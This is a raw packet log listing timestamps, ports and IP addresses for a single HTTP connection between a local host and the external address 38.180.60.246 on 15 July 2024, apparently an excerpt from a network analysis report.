Jul 15, 2024 00:48:21.393346071 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.393346071 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.393358946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.393368959 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.393372059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.393385887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.393398046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.393407106 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.393410921 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.393424034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.393431902 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.393454075 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.393471003 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.394043922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.394089937 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.399179935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.399226904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.399235010 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.399240971 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.399411917 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.399426937 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.399426937 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.399457932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.399460077 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.399471998 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.399482965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.399502993 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.399523020 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.399657965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.399667978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.399705887 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.479701042 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.479720116 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.479737043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.479793072 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.479809999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.479825974 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.479842901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.479871988 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.479893923 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.479893923 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.480097055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.480154037 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.480218887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.480236053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.480268955 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.480288982 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.480314970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.480330944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.480346918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.480364084 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.480365038 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.480376005 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.480403900 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.480443954 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.480459929 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.480487108 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.480501890 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.480532885 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.480575085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.480600119 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.480616093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.480628014 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.480632067 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.480643034 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.480648994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.480667114 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.480678082 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.480698109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.480963945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.480979919 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.480995893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.481010914 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.481017113 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.481028080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.481038094 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.481044054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.481072903 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.481086969 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.481323004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.481372118 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.481395960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.481412888 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.481431007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.481436968 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.481447935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.481456041 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.481465101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.481477022 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.481484890 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.481508017 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.481905937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.481920958 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.481935978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.481951952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.481960058 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.481967926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.481983900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.482000113 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.482003927 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.482028008 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.482042074 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.482564926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.482575893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.482587099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.482598066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.482609987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.482620955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.482633114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.482634068 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.482645035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.482659101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.482672930 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.482686996 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.482692003 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.482698917 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.482711077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.482718945 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.482723951 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.482743025 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.482768059 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.483331919 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.483344078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.483354092 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.483366013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.483376980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.483387947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.483388901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.483402014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.483413935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.483417034 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.483427048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.483438015 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.483441114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.483453035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.483464003 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.483470917 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.483474970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.483486891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.483489990 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.483501911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.483517885 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.483539104 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.484268904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.484281063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.484291077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.484302998 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.484314919 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.484323025 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.484327078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.484338999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.484344959 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.484350920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.484361887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.484373093 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.484374046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.484383106 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.484386921 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.484400034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.484410048 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.484414101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.484426975 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.484436989 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.484460115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.484489918 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.485161066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.485173941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.485187054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.485198975 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.485210896 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.485215902 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.485222101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.485234976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.485246897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.485248089 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.485258102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.485271931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.485274076 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.485296965 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.485318899 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.485846996 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.485857964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.485867977 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.485878944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.485889912 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.485901117 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.485901117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.485912085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.485923052 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.485935926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.485940933 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.485948086 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.485960007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.485968113 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.485971928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.485992908 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.486015081 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.571005106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.571033955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.571044922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.571105003 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.571124077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.571135044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.571146011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.571151972 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.571158886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.571202993 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.571221113 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.571445942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.571496964 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.571558952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.571569920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.571579933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.571590900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.571602106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.571608067 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.571630955 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.571645975 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.571968079 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.571978092 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.571988106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.571997881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.572009087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.572019100 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.572024107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.572036028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.572050095 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.572068930 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.572566986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.572577000 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.572587013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.572619915 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.572634935 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.572721004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.572732925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.572743893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.572777033 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.572794914 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.572808981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.572819948 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.572829962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.572841883 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.572851896 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.572861910 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.572864056 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.572875023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.572890043 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.572911978 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.573627949 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.573637962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.573647976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.573657990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.573668003 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.573678970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.573688984 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.573689938 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.573694944 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.573700905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.573714018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.573721886 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.573724985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.573735952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.573746920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.573767900 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.573782921 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.574564934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.574575901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.574585915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.574596882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.574608088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.574619055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.574621916 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.574630022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.574641943 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.574641943 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.574652910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.574660063 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.574665070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.574676037 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.574687004 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.574717045 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.575474024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.575484991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.575494051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.575505018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.575515985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.575526953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.575539112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.575541973 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.575550079 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.575563908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.575576067 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.575578928 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.575587988 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.575603962 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.575644970 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.576546907 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.576559067 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.576564074 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.576570034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.576579094 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.576584101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.576587915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.576592922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.576596975 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.576603889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.576613903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.576652050 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.576669931 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.577296019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.577307940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.577312946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.577317953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.577333927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.577347040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.577358007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.577369928 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.577369928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.577375889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.577380896 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.577383041 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.577385902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.577399015 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.577429056 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.577447891 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.578242064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.578253984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.578263998 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.578269005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.578274012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.578284025 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.578294039 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.578305006 CEST	80	49704	38.180.60.246	192.168.2.5
